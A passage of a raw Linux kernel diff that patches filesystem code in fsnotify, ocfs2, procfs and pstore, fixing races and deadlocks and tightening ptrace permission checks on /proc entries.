74825be65b7bb..fbb9dfb7b1d28 100644 --- a/fs/notify/inode_mark.c +++ b/fs/notify/inode_mark.c @@ -288,20 +288,25 @@ void fsnotify_unmount_inodes(struct list_head *list) spin_unlock(&inode->i_lock); /* In case the dropping of a reference would nuke next_i. */ - if ((&next_i->i_sb_list != list) && - atomic_read(&next_i->i_count)) { + while (&next_i->i_sb_list != list) { spin_lock(&next_i->i_lock); - if (!(next_i->i_state & (I_FREEING | I_WILL_FREE))) { + if (!(next_i->i_state & (I_FREEING | I_WILL_FREE)) && + atomic_read(&next_i->i_count)) { __iget(next_i); need_iput = next_i; + spin_unlock(&next_i->i_lock); + break; } spin_unlock(&next_i->i_lock); + next_i = list_entry(next_i->i_sb_list.next, + struct inode, i_sb_list); } /* - * We can safely drop inode_sb_list_lock here because we hold - * references on both inode and next_i. Also no new inodes - * will be added since the umount has begun. + * We can safely drop inode_sb_list_lock here because either + * we actually hold references on both inode and next_i or + * end of list. Also no new inodes will be added since the + * umount has begun. */ spin_unlock(&inode_sb_list_lock); diff --git a/fs/notify/mark.c b/fs/notify/mark.c index fc6b49bf73600..f08b3b729d3de 100644 --- a/fs/notify/mark.c +++ b/fs/notify/mark.c @@ -299,16 +299,36 @@ void fsnotify_clear_marks_by_group_flags(struct fsnotify_group *group, unsigned int flags) { struct fsnotify_mark *lmark, *mark; + LIST_HEAD(to_free); + /* + * We have to be really careful here. Anytime we drop mark_mutex, e.g. + * fsnotify_clear_marks_by_inode() can come and free marks. Even in our + * to_free list so we have to use mark_mutex even when accessing that + * list. And freeing mark requires us to drop mark_mutex. So we can + * reliably free only the first mark in the list. That's why we first + * move marks to free to to_free list in one go and then free marks in + * to_free list one by one. + */ mutex_lock_nested(&group->mark_mutex, SINGLE_DEPTH_NESTING); list_for_each_entry_safe(mark, lmark, &group->marks_list, g_list) { - if (mark->flags & flags) { - fsnotify_get_mark(mark); - fsnotify_destroy_mark_locked(mark, group); - fsnotify_put_mark(mark); - } + if (mark->flags & flags) + list_move(&mark->g_list, &to_free); } mutex_unlock(&group->mark_mutex); + + while (1) { + mutex_lock_nested(&group->mark_mutex, SINGLE_DEPTH_NESTING); + if (list_empty(&to_free)) { + mutex_unlock(&group->mark_mutex); + break; + } + mark = list_first_entry(&to_free, struct fsnotify_mark, g_list); + fsnotify_get_mark(mark); + fsnotify_destroy_mark_locked(mark, group); + mutex_unlock(&group->mark_mutex); + fsnotify_put_mark(mark); + } } /* diff --git a/fs/ocfs2/aops.c b/fs/ocfs2/aops.c index 20dfec72e9033..f998c6009ad49 100644 --- a/fs/ocfs2/aops.c +++ b/fs/ocfs2/aops.c @@ -917,7 +917,7 @@ void ocfs2_unlock_and_free_pages(struct page **pages, int num_pages) } } -static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) +static void ocfs2_unlock_pages(struct ocfs2_write_ctxt *wc) { int i; @@ -938,7 +938,11 @@ static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) page_cache_release(wc->w_target_page); } ocfs2_unlock_and_free_pages(wc->w_pages, wc->w_num_pages); +} +static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) +{ + ocfs2_unlock_pages(wc); brelse(wc->w_di_bh); kfree(wc); } @@ -2060,11 +2064,19 @@ int ocfs2_write_end_nolock(struct address_space *mapping, di->i_mtime_nsec = di->i_ctime_nsec = cpu_to_le32(inode->i_mtime.tv_nsec); ocfs2_journal_dirty(handle, wc->w_di_bh); + /* unlock pages before dealloc since it needs acquiring j_trans_barrier + * lock, or it will cause a deadlock since journal commit threads holds + * this lock and will ask for the page lock when flushing the data. + * put it here to preserve the unlock order. + */ + ocfs2_unlock_pages(wc); + ocfs2_commit_trans(osb, handle); ocfs2_run_deallocs(osb, &wc->w_dealloc); - ocfs2_free_write_ctxt(wc); + brelse(wc->w_di_bh); + kfree(wc); return copied; } diff --git a/fs/ocfs2/dcache.c b/fs/ocfs2/dcache.c index ef999729e274e..ce37013b4a593 100644 --- a/fs/ocfs2/dcache.c +++ b/fs/ocfs2/dcache.c @@ -172,7 +172,7 @@ struct dentry *ocfs2_find_local_alias(struct inode *inode, struct dentry *dentry; spin_lock(&inode->i_lock); - hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { + hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { spin_lock(&dentry->d_lock); if (ocfs2_match_dentry(dentry, parent_blkno, skip_unhashed)) { trace_ocfs2_find_local_alias(dentry->d_name.len, diff --git a/fs/ocfs2/dlm/dlmconvert.c b/fs/ocfs2/dlm/dlmconvert.c index 29a886d1e82c8..f65bdcf615260 100644 --- a/fs/ocfs2/dlm/dlmconvert.c +++ b/fs/ocfs2/dlm/dlmconvert.c @@ -265,6 +265,7 @@ enum dlm_status dlmconvert_remote(struct dlm_ctxt *dlm, struct dlm_lock *lock, int flags, int type) { enum dlm_status status; + u8 old_owner = res->owner; mlog(0, "type=%d, convert_type=%d, busy=%d\n", lock->ml.type, lock->ml.convert_type, res->state & DLM_LOCK_RES_IN_PROGRESS); @@ -290,6 +291,19 @@ enum dlm_status dlmconvert_remote(struct dlm_ctxt *dlm, status = DLM_DENIED; goto bail; } + + if (lock->ml.type == type && lock->ml.convert_type == LKM_IVMODE) { + mlog(0, "last convert request returned DLM_RECOVERING, but " + "owner has already queued and sent ast to me. res %.*s, " + "(cookie=%u:%llu, type=%d, conv=%d)\n", + res->lockname.len, res->lockname.name, + dlm_get_lock_cookie_node(be64_to_cpu(lock->ml.cookie)), + dlm_get_lock_cookie_seq(be64_to_cpu(lock->ml.cookie)), + lock->ml.type, lock->ml.convert_type); + status = DLM_NORMAL; + goto bail; + } + res->state |= DLM_LOCK_RES_IN_PROGRESS; /* move lock to local convert queue */ /* do not alter lock refcount. switching lists. */ @@ -319,11 +333,19 @@ enum dlm_status dlmconvert_remote(struct dlm_ctxt *dlm, spin_lock(&res->spinlock); res->state &= ~DLM_LOCK_RES_IN_PROGRESS; lock->convert_pending = 0; - /* if it failed, move it back to granted queue */ + /* if it failed, move it back to granted queue. + * if master returns DLM_NORMAL and then down before sending ast, + * it may have already been moved to granted queue, reset to + * DLM_RECOVERING and retry convert */ if (status != DLM_NORMAL) { if (status != DLM_NOTQUEUED) dlm_error(status); dlm_revert_pending_convert(res, lock); + } else if ((res->state & DLM_LOCK_RES_RECOVERING) || + (old_owner != res->owner)) { + mlog(0, "res %.*s is in recovering or has been recovered.\n", + res->lockname.len, res->lockname.name); + status = DLM_RECOVERING; } bail: spin_unlock(&res->spinlock); diff --git a/fs/ocfs2/dlm/dlmmaster.c b/fs/ocfs2/dlm/dlmmaster.c index 33ecbe0e6734a..d084200dbc4e7 100644 --- a/fs/ocfs2/dlm/dlmmaster.c +++ b/fs/ocfs2/dlm/dlmmaster.c @@ -653,12 +653,9 @@ void dlm_lockres_clear_refmap_bit(struct dlm_ctxt *dlm, clear_bit(bit, res->refmap); } - -void dlm_lockres_grab_inflight_ref(struct dlm_ctxt *dlm, +static void __dlm_lockres_grab_inflight_ref(struct dlm_ctxt *dlm, struct dlm_lock_resource *res) { - assert_spin_locked(&res->spinlock); - res->inflight_locks++; mlog(0, "%s: res %.*s, inflight++: now %u, %ps()\n", dlm->name, @@ -666,6 +663,13 @@ void dlm_lockres_grab_inflight_ref(struct dlm_ctxt *dlm, __builtin_return_address(0)); } +void dlm_lockres_grab_inflight_ref(struct dlm_ctxt *dlm, + struct dlm_lock_resource *res) +{ + assert_spin_locked(&res->spinlock); + __dlm_lockres_grab_inflight_ref(dlm, res); +} + void dlm_lockres_drop_inflight_ref(struct dlm_ctxt *dlm, struct dlm_lock_resource *res) { @@ -725,6 +729,19 @@ struct dlm_lock_resource * dlm_get_lock_resource(struct dlm_ctxt *dlm, if (tmpres) { spin_unlock(&dlm->spinlock); spin_lock(&tmpres->spinlock); + + /* + * Right after dlm spinlock was released, dlm_thread could have + * purged the lockres. Check if lockres got unhashed. If so + * start over. + */ + if (hlist_unhashed(&tmpres->hash_node)) { + spin_unlock(&tmpres->spinlock); + dlm_lockres_put(tmpres); + tmpres = NULL; + goto lookup; + } + /* Wait on the thread that is mastering the resource */ if (tmpres->owner == DLM_LOCK_RES_OWNER_UNKNOWN) { __dlm_wait_on_lockres(tmpres); @@ -855,10 +872,8 @@ struct dlm_lock_resource * dlm_get_lock_resource(struct dlm_ctxt *dlm, /* finally add the lockres to its hash bucket */ __dlm_insert_lockres(dlm, res); - /* Grab inflight ref to pin the resource */ - spin_lock(&res->spinlock); - dlm_lockres_grab_inflight_ref(dlm, res); - spin_unlock(&res->spinlock); + /* since this lockres is new it doesn't not require the spinlock */ + __dlm_lockres_grab_inflight_ref(dlm, res); /* get an extra ref on the mle in case this is a BLOCK * if so, the creator of the BLOCK may try to put the last @@ -2441,6 +2456,11 @@ static int dlm_migrate_lockres(struct dlm_ctxt *dlm, spin_lock(&dlm->master_lock); ret = dlm_add_migration_mle(dlm, res, mle, &oldmle, name, namelen, target, dlm->node_num); + /* get an extra reference on the mle. + * otherwise the assert_master from the new + * master will destroy this. + */ + dlm_get_mle_inuse(mle); spin_unlock(&dlm->master_lock); spin_unlock(&dlm->spinlock); @@ -2476,6 +2496,7 @@ static int dlm_migrate_lockres(struct dlm_ctxt *dlm, if (mle_added) { dlm_mle_detach_hb_events(dlm, mle); dlm_put_mle(mle); + dlm_put_mle_inuse(mle); } else if (mle) { kmem_cache_free(dlm_mle_cache, mle); mle = NULL; @@ -2493,17 +2514,6 @@ static int dlm_migrate_lockres(struct dlm_ctxt *dlm, * ensure that all assert_master work is flushed. */ flush_workqueue(dlm->dlm_worker); - /* get an extra reference on the mle. - * otherwise the assert_master from the new - * master will destroy this. - * also, make sure that all callers of dlm_get_mle - * take both dlm->spinlock and dlm->master_lock */ - spin_lock(&dlm->spinlock); - spin_lock(&dlm->master_lock); - dlm_get_mle_inuse(mle); - spin_unlock(&dlm->master_lock); - spin_unlock(&dlm->spinlock); - /* notify new node and send all lock state */ /* call send_one_lockres with migration flag. * this serves as notice to the target node that a @@ -3231,6 +3241,15 @@ void dlm_clean_master_list(struct dlm_ctxt *dlm, u8 dead_node) mle->new_master != dead_node) continue; + if (mle->new_master == dead_node && mle->inuse) { + mlog(ML_NOTICE, "%s: target %u died during " + "migration from %u, the MLE is " + "still keep used, ignore it!\n", + dlm->name, dead_node, + mle->master); + continue; + } + /* If we have reached this point, this mle needs to be * removed from the list and freed. */ dlm_clean_migration_mle(dlm, mle); diff --git a/fs/ocfs2/dlm/dlmrecovery.c b/fs/ocfs2/dlm/dlmrecovery.c index 9bd981cd3142f..33e9d705ee8fa 100644 --- a/fs/ocfs2/dlm/dlmrecovery.c +++ b/fs/ocfs2/dlm/dlmrecovery.c @@ -2034,7 +2034,6 @@ void dlm_move_lockres_to_recovery_list(struct dlm_ctxt *dlm, dlm_lock_get(lock); if (lock->convert_pending) { /* move converting lock back to granted */ - BUG_ON(i != DLM_CONVERTING_LIST); mlog(0, "node died with convert pending " "on %.*s. move back to granted list.\n", res->lockname.len, res->lockname.name); @@ -2326,6 +2325,8 @@ static void dlm_do_local_recovery_cleanup(struct dlm_ctxt *dlm, u8 dead_node) break; } } + dlm_lockres_clear_refmap_bit(dlm, res, + dead_node); spin_unlock(&res->spinlock); continue; } diff --git a/fs/ocfs2/dlmglue.c b/fs/ocfs2/dlmglue.c index 3a44a648dae77..b294deb27d173 100644 --- a/fs/ocfs2/dlmglue.c +++ b/fs/ocfs2/dlmglue.c @@ -3971,9 +3971,13 @@ static void ocfs2_downconvert_thread_do_work(struct ocfs2_super *osb) osb->dc_work_sequence = osb->dc_wake_sequence; processed = osb->blocked_lock_count; - while (processed) { - BUG_ON(list_empty(&osb->blocked_lock_list)); - + /* + * blocked lock processing in this loop might call iput which can + * remove items off osb->blocked_lock_list. Downconvert up to + * 'processed' number of locks, but stop short if we had some + * removed in ocfs2_mark_lockres_freeing when downconverting. + */ + while (processed && !list_empty(&osb->blocked_lock_list)) { lockres = list_entry(osb->blocked_lock_list.next, struct ocfs2_lock_res, l_blocked_list); list_del_init(&lockres->l_blocked_list); diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c index 46387e49aa469..d0e8c0b1767f2 100644 --- a/fs/ocfs2/file.c +++ b/fs/ocfs2/file.c @@ -2372,10 +2372,14 @@ static ssize_t ocfs2_file_aio_write(struct kiocb *iocb, /* buffered aio wouldn't have proper lock coverage today */ BUG_ON(ret == -EIOCBQUEUED && !(file->f_flags & O_DIRECT)); + if (unlikely(written <= 0)) + goto no_sync; + if (((file->f_flags & O_DSYNC) && !direct_io) || IS_SYNC(inode) || ((file->f_flags & O_DIRECT) && !direct_io)) { - ret = filemap_fdatawrite_range(file->f_mapping, *ppos, - *ppos + count - 1); + ret = filemap_fdatawrite_range(file->f_mapping, + iocb->ki_pos - written, + iocb->ki_pos - 1); if (ret < 0) written = ret; @@ -2388,10 +2392,12 @@ static ssize_t ocfs2_file_aio_write(struct kiocb *iocb, } if (!ret) - ret = filemap_fdatawait_range(file->f_mapping, *ppos, - *ppos + count - 1); + ret = filemap_fdatawait_range(file->f_mapping, + iocb->ki_pos - written, + iocb->ki_pos - 1); } +no_sync: /* * deep in g_f_a_w_n()->ocfs2_direct_IO we pass in a ocfs2_dio_end_io * function pointer which is called when o_direct io completes so that @@ -2453,12 +2459,14 @@ static ssize_t ocfs2_file_splice_write(struct pipe_inode_info *pipe, struct address_space *mapping = out->f_mapping; struct inode *inode = mapping->host; struct splice_desc sd = { - .total_len = len, .flags = flags, - .pos = *ppos, .u.file = out, }; - + ret = generic_write_checks(out, ppos, &len, 0); + if(ret) + return ret; + sd.total_len = len; + sd.pos = *ppos; trace_ocfs2_file_splice_write(inode, out, out->f_path.dentry, (unsigned long long)OCFS2_I(inode)->ip_blkno, diff --git a/fs/omfs/inode.c b/fs/omfs/inode.c index d8b0afde2179c..2dba0caf1f4a5 100644 --- a/fs/omfs/inode.c +++ b/fs/omfs/inode.c @@ -361,7 +361,7 @@ static int omfs_get_imap(struct super_block *sb) } enum { - Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask + Opt_uid, Opt_gid, Opt_umask, Opt_dmask, Opt_fmask, Opt_err }; static const match_table_t tokens = { @@ -370,6 +370,7 @@ static const match_table_t tokens = { {Opt_umask, "umask=%o"}, {Opt_dmask, "dmask=%o"}, {Opt_fmask, "fmask=%o"}, + {Opt_err, NULL}, }; static int parse_options(char *options, struct omfs_sb_info *sbi) diff --git a/fs/open.c b/fs/open.c index b1fd2c1d55f4a..9bf7fa0b475d2 100644 --- a/fs/open.c +++ b/fs/open.c @@ -674,7 +674,6 @@ static int do_dentry_open(struct file *f, } f->f_mapping = inode->i_mapping; - file_sb_list_add(f, inode->i_sb); if (unlikely(f->f_mode & FMODE_PATH)) { f->f_op = &empty_fops; @@ -709,7 +708,6 @@ static int do_dentry_open(struct file *f, cleanup_all: fops_put(f->f_op); - file_sb_list_del(f); if (f->f_mode & FMODE_WRITE) { if (!special_file(inode->i_mode)) { /* diff --git a/fs/proc/array.c b/fs/proc/array.c index cbd0f1b324b97..5c45eb5e4e0d3 100644 --- a/fs/proc/array.c +++ b/fs/proc/array.c @@ -304,15 +304,11 @@ static void render_cap_t(struct seq_file *m, const char *header, seq_puts(m, header); CAP_FOR_EACH_U32(__capi) { seq_printf(m, "%08x", - a->cap[(_KERNEL_CAPABILITY_U32S-1) - __capi]); + a->cap[CAP_LAST_U32 - __capi]); } seq_putc(m, '\n'); } -/* Remove non-existent capabilities */ -#define NORM_CAPS(v) (v.cap[CAP_TO_INDEX(CAP_LAST_CAP)] &= \ - CAP_TO_MASK(CAP_LAST_CAP + 1) - 1) - static inline void task_cap(struct seq_file *m, struct task_struct *p) { const struct cred *cred; @@ -326,11 +322,6 @@ static inline void task_cap(struct seq_file *m, struct task_struct *p) cap_bset = cred->cap_bset; rcu_read_unlock(); - NORM_CAPS(cap_inheritable); - NORM_CAPS(cap_permitted); - NORM_CAPS(cap_effective); - NORM_CAPS(cap_bset); - render_cap_t(m, "CapInh:\t", &cap_inheritable); render_cap_t(m, "CapPrm:\t", &cap_permitted); render_cap_t(m, "CapEff:\t", &cap_effective); @@ -407,7 +398,7 @@ static int do_task_stat(struct seq_file *m, struct pid_namespace *ns, state = *get_task_state(task); vsize = eip = esp = 0; - permitted = ptrace_may_access(task, PTRACE_MODE_READ | PTRACE_MODE_NOAUDIT); + permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT); mm = get_task_mm(task); if (mm) { vsize = task_vsize(mm); diff --git a/fs/proc/base.c b/fs/proc/base.c index 9e388cc9ad3ad..ce9a500d1b74a 100644 --- a/fs/proc/base.c +++ b/fs/proc/base.c @@ -240,7 +240,7 @@ static int proc_pid_cmdline(struct task_struct *task, char * buffer) static int proc_pid_auxv(struct task_struct *task, char *buffer) { - struct mm_struct *mm = mm_access(task, PTRACE_MODE_READ); + struct mm_struct *mm = mm_access(task, PTRACE_MODE_READ_FSCREDS); int res = PTR_ERR(mm); if (mm && !IS_ERR(mm)) { unsigned int nwords = 0; @@ -270,7 +270,7 @@ static int proc_pid_wchan(struct task_struct *task, char *buffer) wchan = get_wchan(task); if (lookup_symbol_name(wchan, symname) < 0) - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) return 0; else return sprintf(buffer, "%lu", wchan); @@ -284,7 +284,7 @@ static int lock_trace(struct task_struct *task) int err = mutex_lock_killable(&task->signal->cred_guard_mutex); if (err) return err; - if (!ptrace_may_access(task, PTRACE_MODE_ATTACH)) { + if (!ptrace_may_access(task, PTRACE_MODE_ATTACH_FSCREDS)) { mutex_unlock(&task->signal->cred_guard_mutex); return -EPERM; } @@ -558,7 +558,7 @@ static int proc_fd_access_allowed(struct inode *inode) */ task = get_proc_task(inode); if (task) { - allowed = ptrace_may_access(task, PTRACE_MODE_READ); + allowed = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS); put_task_struct(task); } return allowed; @@ -593,7 +593,7 @@ static bool has_pid_permissions(struct pid_namespace *pid, return true; if (in_group_p(pid->pid_gid)) return true; - return ptrace_may_access(task, PTRACE_MODE_READ); + return ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS); } @@ -708,7 +708,7 @@ static int __mem_open(struct inode *inode, struct file *file, unsigned int mode) if (!task) return -ESRCH; - mm = mm_access(task, mode); + mm = mm_access(task, mode | PTRACE_MODE_FSCREDS); put_task_struct(task); if (IS_ERR(mm)) @@ -1774,7 +1774,7 @@ static int map_files_d_revalidate(struct dentry *dentry, unsigned int flags) if (!task) goto out_notask; - mm = mm_access(task, PTRACE_MODE_READ); + mm = mm_access(task, PTRACE_MODE_READ_FSCREDS); if (IS_ERR_OR_NULL(mm)) goto out; @@ -1909,7 +1909,7 @@ static struct dentry *proc_map_files_lookup(struct inode *dir, goto out; result = ERR_PTR(-EACCES); - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) goto out_put_task; result = ERR_PTR(-ENOENT); @@ -1965,7 +1965,7 @@ proc_map_files_readdir(struct file *filp, void *dirent, filldir_t filldir) goto out; ret = -EACCES; - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) goto out_put_task; ret = 0; @@ -2501,7 +2501,7 @@ static int do_io_accounting(struct task_struct *task, char *buffer, int whole) if (result) return result; - if (!ptrace_may_access(task, PTRACE_MODE_READ)) { + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) { result = -EACCES; goto out_unlock; } @@ -2625,6 +2625,57 @@ static const struct file_operations proc_projid_map_operations = { .llseek = seq_lseek, .release = proc_id_map_release, }; + +static int proc_setgroups_open(struct inode *inode, struct file *file) +{ + struct user_namespace *ns = NULL; + struct task_struct *task; + int ret; + + ret = -ESRCH; + task = get_proc_task(inode); + if (task) { + rcu_read_lock(); + ns = get_user_ns(task_cred_xxx(task, user_ns)); + rcu_read_unlock(); + put_task_struct(task); + } + if (!ns) + goto err; + + if (file->f_mode & FMODE_WRITE) { + ret = -EACCES; + if (!ns_capable(ns, CAP_SYS_ADMIN)) + goto err_put_ns; + } + + ret = single_open(file, &proc_setgroups_show, ns); + if (ret) + goto err_put_ns; + + return 0; +err_put_ns: + put_user_ns(ns); +err: + return ret; +} + +static int proc_setgroups_release(struct inode *inode, struct file *file) +{ + struct seq_file *seq = file->private_data; + struct user_namespace *ns = seq->private; + int ret = single_release(inode, file); + put_user_ns(ns); + return ret; +} + +static const struct file_operations proc_setgroups_operations = { + .open = proc_setgroups_open, + .write = proc_setgroups_write, + .read = seq_read, + .llseek = seq_lseek, + .release = proc_setgroups_release, +}; #endif /* CONFIG_USER_NS */ static int proc_pid_personality(struct seq_file *m, struct pid_namespace *ns, @@ -2736,6 +2787,7 @@ static const struct pid_entry tgid_base_stuff[] = { REG("uid_map", S_IRUGO|S_IWUSR, proc_uid_map_operations), REG("gid_map", S_IRUGO|S_IWUSR, proc_gid_map_operations), REG("projid_map", S_IRUGO|S_IWUSR, proc_projid_map_operations), + REG("setgroups", S_IRUGO|S_IWUSR, proc_setgroups_operations), #endif #ifdef CONFIG_CHECKPOINT_RESTORE REG("timers", S_IRUGO, proc_timers_operations), @@ -3089,6 +3141,7 @@ static const struct pid_entry tid_base_stuff[] = { REG("uid_map", S_IRUGO|S_IWUSR, proc_uid_map_operations), REG("gid_map", S_IRUGO|S_IWUSR, proc_gid_map_operations), REG("projid_map", S_IRUGO|S_IWUSR, proc_projid_map_operations), + REG("setgroups", S_IRUGO|S_IWUSR, proc_setgroups_operations), #endif }; diff --git a/fs/proc/generic.c b/fs/proc/generic.c index 5a62c07d33dc2..32b817a48368f 100644 --- a/fs/proc/generic.c +++ b/fs/proc/generic.c @@ -19,7 +19,6 @@ #include #include #include -#include #include #include #include @@ -164,17 +163,6 @@ void proc_free_inum(unsigned int inum) spin_unlock_irqrestore(&proc_inum_lock, flags); } -static void *proc_follow_link(struct dentry *dentry, struct nameidata *nd) -{ - nd_set_link(nd, __PDE_DATA(dentry->d_inode)); - return NULL; -} - -static const struct inode_operations proc_link_inode_operations = { - .readlink = generic_readlink, - .follow_link = proc_follow_link, -}; - /* * As some entries in /proc are volatile, we want to * get rid of unused dentries. This could be made diff --git a/fs/proc/inode.c b/fs/proc/inode.c index 073aea60cf8f0..843b8ef04e84b 100644 --- a/fs/proc/inode.c +++ b/fs/proc/inode.c @@ -23,6 +23,7 @@ #include #include #include +#include #include @@ -373,6 +374,26 @@ static const struct file_operations proc_reg_file_ops_no_compat = { }; #endif +static void *proc_follow_link(struct dentry *dentry, struct nameidata *nd) +{ + struct proc_dir_entry *pde = PDE(dentry->d_inode); + if (unlikely(!use_pde(pde))) + return ERR_PTR(-EINVAL); + nd_set_link(nd, pde->data); + return pde; +} + +static void proc_put_link(struct dentry *dentry, struct nameidata *nd, void *p) +{ + unuse_pde(p); +} + +const struct inode_operations proc_link_inode_operations = { + .readlink = generic_readlink, + .follow_link = proc_follow_link, + .put_link = proc_put_link, +}; + struct inode *proc_get_inode(struct super_block *sb, struct proc_dir_entry *de) { struct inode *inode = new_inode_pseudo(sb); diff --git a/fs/proc/internal.h b/fs/proc/internal.h index b0430802aa1f4..0b596d4cabbbc 100644 --- a/fs/proc/internal.h +++ b/fs/proc/internal.h @@ -202,6 +202,7 @@ struct pde_opener { int closing; struct completion *c; }; +extern const struct inode_operations proc_link_inode_operations; extern const struct inode_operations proc_pid_link_inode_operations; extern const struct file_operations proc_reclaim_operations; diff --git a/fs/proc/namespaces.c b/fs/proc/namespaces.c index 54bdc6701e9fd..ac49a8d4aaf8b 100644 --- a/fs/proc/namespaces.c +++ b/fs/proc/namespaces.c @@ -125,7 +125,7 @@ static void *proc_ns_follow_link(struct dentry *dentry, struct nameidata *nd) if (!task) goto out; - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) goto out_put_task; ns_path.dentry = proc_ns_get_dentry(sb, task, ei->ns.ns_ops); @@ -158,7 +158,7 @@ static int proc_ns_readlink(struct dentry *dentry, char __user *buffer, int bufl if (!task) goto out; - if (!ptrace_may_access(task, PTRACE_MODE_READ)) + if (!ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS)) goto out_put_task; len = -ENOENT; diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c index d78cf827b8ddf..9944ba2d1f63b 100644 --- a/fs/proc/task_mmu.c +++ b/fs/proc/task_mmu.c @@ -214,7 +214,7 @@ static void *m_start(struct seq_file *m, loff_t *pos) if (!priv->task) return ERR_PTR(-ESRCH); - mm = mm_access(priv->task, PTRACE_MODE_READ); + mm = mm_access(priv->task, PTRACE_MODE_READ_FSCREDS); if (!mm || IS_ERR(mm)) return mm; down_read(&mm->mmap_sem); @@ -1100,7 +1100,7 @@ static ssize_t pagemap_read(struct file *file, char __user *buf, if (!pm.buffer) goto out_task; - mm = mm_access(task, PTRACE_MODE_READ); + mm = mm_access(task, PTRACE_MODE_READ_FSCREDS); ret = PTR_ERR(mm); if (!mm || IS_ERR(mm)) goto out_free; diff --git a/fs/proc/task_nommu.c b/fs/proc/task_nommu.c index 678455d2d6839..f9db7e9f69663 100644 --- a/fs/proc/task_nommu.c +++ b/fs/proc/task_nommu.c @@ -216,7 +216,7 @@ static void *m_start(struct seq_file *m, loff_t *pos) if (!priv->task) return ERR_PTR(-ESRCH); - mm = mm_access(priv->task, PTRACE_MODE_READ); + mm = mm_access(priv->task, PTRACE_MODE_READ_FSCREDS); if (!mm || IS_ERR(mm)) { put_task_struct(priv->task); priv->task = NULL; diff --git a/fs/pstore/inode.c b/fs/pstore/inode.c index 57bbfeaab6638..b35a3ebda3158 100644 --- a/fs/pstore/inode.c +++ b/fs/pstore/inode.c @@ -178,6 +178,8 @@ static int pstore_unlink(struct inode *dir, struct dentry *dentry) if (p->psi->erase) p->psi->erase(p->type, p->id, p->count, dentry->d_inode->i_ctime, p->psi); + else + return -EPERM; return simple_unlink(dir, dentry); } @@ -317,10 +319,10 @@ int pstore_mkfile(enum pstore_type_id type, char *psname, u64 id, int count, psname, id); break; case PSTORE_TYPE_CONSOLE: - scnprintf(name, sizeof(name), "console-%s", psname); + scnprintf(name, sizeof(name), "console-%s-%lld", psname, id); break; case PSTORE_TYPE_FTRACE: - scnprintf(name, sizeof(name), "ftrace-%s", psname); + scnprintf(name, sizeof(name), "ftrace-%s-%lld", psname, id); break; case PSTORE_TYPE_MCE: scnprintf(name, sizeof(name), "mce-%s-%lld", psname, id); @@ -339,9 +341,8 @@ int pstore_mkfile(enum pstore_type_id type, char *psname, u64 id, int count, mutex_lock(&root->d_inode->i_mutex); - rc = -ENOSPC; dentry = d_alloc_name(root, name); - if (IS_ERR(dentry)) + if (!dentry) goto fail_lockedalloc; memcpy(private->data, data, size); diff --git a/fs/pstore/ram.c b/fs/pstore/ram.c index 886b213706e01..7594ed0fd004d 100644 --- a/fs/pstore/ram.c +++ b/fs/pstore/ram.c @@ -66,6 +66,11 @@ module_param(mem_size, ulong, 0400); MODULE_PARM_DESC(mem_size, "size of reserved RAM used to store oops/panic logs"); +static unsigned int mem_type; +module_param(mem_type, uint, 0600); +MODULE_PARM_DESC(mem_type, + "set to 1 to try to use unbuffered memory (default 0)"); + static int dump_oops = 1; module_param(dump_oops, int, 0600); MODULE_PARM_DESC(dump_oops, @@ -85,6 +90,7 @@ struct ramoops_context { struct persistent_ram_zone *mprz; phys_addr_t phys_addr; unsigned long size; + unsigned int memtype; size_t record_size; size_t console_size; size_t ftrace_size; @@ -128,13 +134,15 @@ ramoops_get_next_prz(struct persistent_ram_zone *przs[], uint *c, uint max, return NULL; prz = przs[i]; + if (!prz) + return NULL; - if (update) { - /* Update old/shadowed buffer. */ + /* Update old/shadowed buffer. */ + if (update) persistent_ram_save_old(prz); - if (!persistent_ram_old_size(prz)) - return NULL; - } + + if (!persistent_ram_old_size(prz)) + return NULL; *typep = type; *id = i; @@ -359,7 +367,8 @@ static int ramoops_init_przs(struct device *dev, struct ramoops_context *cxt, size_t sz = cxt->record_size; cxt->przs[i] = persistent_ram_new(*paddr, sz, 0, - &cxt->ecc_info); + &cxt->ecc_info, + cxt->memtype); if (IS_ERR(cxt->przs[i])) { err = PTR_ERR(cxt->przs[i]); dev_err(dev, "failed to request mem region (0x%zx@0x%llx): %d\n", @@ -389,7 +398,7 @@ static int ramoops_init_prz(struct device *dev, struct ramoops_context *cxt, return -ENOMEM; } - *prz = persistent_ram_new(*paddr, sz, sig, &cxt->ecc_info); + *prz = persistent_ram_new(*paddr, sz, sig, &cxt->ecc_info, cxt->memtype); if (IS_ERR(*prz)) { int err = PTR_ERR(*prz); @@ -513,6 +522,7 @@ static int ramoops_probe(struct platform_device *pdev) cxt->size = pdata->mem_size; cxt->phys_addr = pdata->mem_address; + cxt->memtype = pdata->mem_type; cxt->record_size = pdata->record_size; cxt->console_size = pdata->console_size; cxt->ftrace_size = pdata->ftrace_size; @@ -643,6 +653,7 @@ static void ramoops_register_dummy(void) dummy_data->mem_size = mem_size; dummy_data->mem_address = mem_address; + dummy_data->mem_type = 0; dummy_data->record_size = record_size; dummy_data->console_size = ramoops_console_size; dummy_data->ftrace_size = ramoops_ftrace_size; diff --git a/fs/pstore/ram_core.c b/fs/pstore/ram_core.c index 710e489c87596..0b367ef7a7d68 100644 --- a/fs/pstore/ram_core.c +++ b/fs/pstore/ram_core.c @@ -380,7 +380,8 @@ void persistent_ram_zap(struct persistent_ram_zone *prz) 